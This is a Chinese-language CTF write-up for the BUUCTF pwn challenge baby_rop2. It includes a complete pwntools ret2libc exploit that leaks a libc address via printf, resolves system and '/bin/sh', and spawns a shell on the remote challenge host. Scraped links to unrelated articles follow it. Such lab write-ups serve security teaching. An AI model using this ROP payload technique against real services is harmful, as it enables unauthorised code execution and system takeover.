64位,开了nx保护

运行了一下程序


buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为” system(‘/bin/sh’)
利用read函数,去泄露程序的libc基址,然后去获得system和/bin/sh字符串的地址
然后造成溢出,将返回地址覆盖为system(‘/bin/sh’)

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node4.buuoj.cn',29343)
elf=ELF('babyrop2')
pop_rdi= 0x400733
pop_rsi_r15=0x400731
format_str=0x400770
printf_plt=elf.plt['printf']
read_got=elf.got['read']
main_plt = elf.sym['main']
payload= 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)
p.recvuntil("name? ")
p.sendline(payload)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
sys_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload='a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

利用过程

一、 泄露libc基址
由于是64位程序,传参的时候需要用到寄存器
printf函数的原型int printf( const char* format , [argument] … );
举个例子–>print(’%s’,‘hello world’)

这里需要两个参数设置rdi,rsi寄存器

ROPgadget --binary babyrop2 |grep "pop rdi"


rdi_addr=0x400733

ROPgadget --binary babyrop2 |grep "pop rsi"


没有直接设置rsi寄存器的指令,这边后面还跟着一个r15,无所谓了,不用r15,给他随便设置一下就好了,我这边设置的0
pop_rsi=0x400731

首先要设置第一个参数,就是带有类似于%s这种格式的字符串,我这边是使用的程序里自带的语句

format_str=0x400770

接收输出的read函数地址

read_addr = u64(p.recvuntil(’\x7f’)[-6:].ljust(8, ‘\x00’))

接收地址基本上都是7个字节的,7f开头,补全8个字节

得到shell后利用find -name flag 去找到flag文件的位置 或者find -name "flag"


最后读出flag

cat /home/babyrop2/flag

BUUCTF(pwn)[HarekazeCTF2019]baby_rop2 泄露libc基址,rop,利用gadget相关推荐

  1. [BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

    [HarekazeCTF2019]baby_rop2 题目附件 步骤: 例行检查,64位,开启了nx保护 运行了一下程序,了解大概的执行情况 64位ida载入,shift+f12检索程序里的字符串,没 ...

  2. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  3. BUUCTF(pwn)[HarekazeCTF2019]baby_rop

    因为是64位参数是储存在寄存器中,binsh字符串应该放在 rdi 寄存器中 from pwn import* p = remote("node3.buuoj.cn",28711) ...

  4. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  5. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  6. Buuctf(PWN)ciscn_2019_c_1

    一个普通的小程序,给了3个选项来供我们选择; 在main函数进行分析,发现输入 1 是正确的通道; 点进去下面的encrypt() 加密函数; 在这里发现了 gets()溢出函数; 我们可以利用这个函 ...

  7. [BUUCTF-pwn]——[HarekazeCTF2019]baby_rop2

    [BUUCTF-pwn]--[HarekazeCTF2019]baby_rop2 题目地址:https://buuoj.cn/challenges#[HarekazeCTF2019]baby_rop2 ...

  8. BUUCTF pwn wp 76 - 80

    cmcc_pwnme2 int __cdecl userfunction(char *src) {char dest[108]; // [esp+Ch] [ebp-6Ch] BYREFstrcpy(d ...

  9. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

最新文章

  1. c语言顺序表有效元素长度,用C语言描述的顺序表类型
  2. 网线传输速度测试_弱电工程CAT5eCAT6CAT6aCAT7网线怎么选择
  3. 中国海洋大学计算机学院研究生导师,中国海洋大学硕士研究生导师介绍:唐瑞春...
  4. PL/SQL developer快速执行选定语句
  5. django前端模板循环多个list
  6. 知乎通过港交所上市聆讯 2021年营收29.6亿元
  7. 刚装的fedora16测试时出现莫名包
  8. linux mint 19安装 kvm 软件包
  9. 常用ftp、tftp服务器软件
  10. 怎样测试通达信软件,如何测试通达信指标成功率?
  11. Android apk 加密方式
  12. 微信朋友圈服务器缓存,怎么删微信朋友圈缓存?
  13. Ubuntu19.04 创建桌面快捷方式
  14. 谷歌浏览器插件 - 为 Microsoft Bing 搜索引擎首页添加一个【保存背景图片】的按钮(版本 1)
  15. Excel表格不小心删除怎么恢复,excel表格误删怎么找回
  16. Continuous Integration 对 ABAP 技术栈来说意味着什么
  17. pvx什么材质_100818 常用塑胶材料牌号
  18. mysql trans begin_[原创]MySQL RR隔离级别下begin或start transaction开启事务后的可重复读?...
  19. 用SLM和共光路干涉仪产生矢量光束
  20. 超越IDM、Xdown的全能文件下载器

热门文章

  1. 企业如何进行数字化转型?
  2. JSONP实现原理-简析
  3. 21、Java并发性和多线程-Java中的锁
  4. 【30集iCore3_ADP出厂源代码(ARM部分)讲解视频】30-10底层驱动之I2C
  5. dbca no protocol support
  6. Asp.net正则获取html内容
  7. ORA-27125: unable to create shared memory segment的解决方法(转)
  8. [转]ActionScript 3.0入门:Hello World、文件读写、数据存储(SharedObject)、与JS互调
  9. Windows Phone 开发起步之旅之二 C#中的值类型和引用类型
  10. jsp项目在idea需要导入什么依赖_Java开发工具IntelliJ IDEA配置项目系列教程(五):模块依赖...